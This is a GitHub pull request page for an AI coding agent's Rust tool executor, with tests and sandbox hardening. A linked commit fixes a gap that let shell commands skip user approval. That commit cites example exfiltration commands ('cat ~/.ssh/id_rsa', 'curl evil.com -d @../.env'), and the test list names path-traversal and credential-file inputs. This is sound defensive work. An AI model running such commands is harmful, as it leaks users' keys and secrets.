feat(executor): add comprehensive test suite and security hardening for ToolExecutor - #21
Merged
Merged
Conversation
- — Frontend (tsc, bun build) + Backend (clippy, test) - — Setup guide, commit convention, code standards - — Vulnerability reporting process - — Structured bug reports - — Feature request template - — PR checklist and guidelines - Deleted 14 stale remote branches (all features already merged to main) Co-authored-by: Test User <test@example.com>
Improvements: - Rust tests: error.rs (4 unit tests for AppError variants) - Models: mod.rs (serialization test template) - tauri.conf.json: CSP hardening (restrict sources), proper bundle targets (deb, appimage, msi, nsis) - .editorconfig: consistent formatting across Rust/TS/MD - rustfmt.toml: Rust formatting rules - clippy.toml: disallow unwrap()/expect() patterns Co-authored-by: Test User <test@example.com>
…or ToolExecutor - Add 25 test cases covering: path traversal, sandbox escape, sensitive file detection, read/write roundtrip, directory listing, regex search, command execution, command timeout, and path normalization - Fix clippy violations in production code: - Replace unwrap_or(false), unwrap_or(&canonical), unwrap_or(-1) with proper error handling in is_sensitive_file(), list_dir(), search_files(), and run_command() - All unwrap/expect calls now confined to #[cfg(test)] block - Performance: cache sensitive file globset as static OnceLock instead of rebuilding on every call - Fix missing 'path' field validation in list_dir() and search_files()
kevinnft
added a commit
to kevinnft/enowX-Coder
that referenced
this pull request
May 14, 2026
Fixes CI failures introduced after PR enowdev#21 merged to main. **Frontend (TypeScript):** - Update bun.lockb to match current dependencies - Resolves 'lockfile had changes, but lockfile is frozen' error **Backend (Rust):** - Add #[allow(clippy::disallowed_methods)] for unavoidable macro-generated code: - serde_json::json! macro (chat_service.rs) — JSON construction from literals cannot fail - tauri::generate_context! macro (lib.rs) — Tauri code generation - tokio::runtime::Runtime::new().expect() (lib.rs) — unrecoverable failure, no meaningful recovery path - Allow unwrap/expect in test modules (executor.rs, models/mod.rs) for test brevity All violations were either: 1. Macro-generated code (serde_json, tauri) where .unwrap() is internal to the macro expansion 2. Test code where unwrap/expect is idiomatic 3. Unrecoverable initialization failures where panic is appropriate Production hand-written code remains free of unwrap/expect per clippy.toml rules. Resolves: enowdev#21 (CI failures)
4 tasks
kevinnft
added a commit
to kevinnft/enowX-Coder
that referenced
this pull request
May 14, 2026
ToolExecutor::run_command was bypassing the path-based permission gate, since AgentRunner::emit_permission_request_if_needed only triggered for tools that include a "path" input. Shell commands could therefore read or exfiltrate sensitive files (cat ~/.ssh/id_rsa, curl evil.com -d @../.env) without ever prompting the user, undermining the sandbox hardening that landed in PR enowdev#21. - runner.rs: add a run_command branch that registers a permission request with permission_type "shell_command" and reuses the existing path field to display the command text. - types/index.ts, AppShell.tsx: extend PermissionRequest type with the new variant. - PermissionDialog.tsx: render a clear "wants to run a shell command" message for the new type. Behavior is now: every shell command requires explicit user approval, matching the existing UX for sensitive file and outside-sandbox access.
3 tasks
Yeyodra
pushed a commit
to Yeyodra/NovexCoder
that referenced
this pull request
May 19, 2026
Fixes CI failures introduced after PR #21 merged to main. **Frontend (TypeScript):** - Update bun.lockb to match current dependencies - Resolves 'lockfile had changes, but lockfile is frozen' error **Backend (Rust):** - Add #[allow(clippy::disallowed_methods)] for unavoidable macro-generated code: - serde_json::json! macro (chat_service.rs) — JSON construction from literals cannot fail - tauri::generate_context! macro (lib.rs) — Tauri code generation - tokio::runtime::Runtime::new().expect() (lib.rs) — unrecoverable failure, no meaningful recovery path - Allow unwrap/expect in test modules (executor.rs, models/mod.rs) for test brevity All violations were either: 1. Macro-generated code (serde_json, tauri) where .unwrap() is internal to the macro expansion 2. Test code where unwrap/expect is idiomatic 3. Unrecoverable initialization failures where panic is appropriate Production hand-written code remains free of unwrap/expect per clippy.toml rules. Resolves: enowdev/enowX-Coder#21 (CI failures)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Production-grade test suite + security hardening for
tools/executor.rs— the core sandbox file/command execution engine used by the agent system.Changes
25 new tests covering all tool methods:
../../../etc/passwd)/etc/passwd).env,.ssh/id_rsa,*.key,*.pem)Production code fixes:
is_sensitive_file():unwrap_or(false)→ proper error handling inOnceLocklist_dir():unwrap_or(&canonical)→map_err()with proper error messagesearch_files():unwrap_or(&canonical)→map_err()with proper error messagelist_dir(): missing path validation → returnsAppError::ValidationGlobSetBuilderas staticOnceLockinstead of rebuilding on everyis_sensitive_file()call (was O(n) per call)Why this matters
This is the file that allows AI agents to execute arbitrary commands on the user's machine. It's currently the largest service file (343 lines) with zero tests. These tests verify the security guarantees are actually enforced.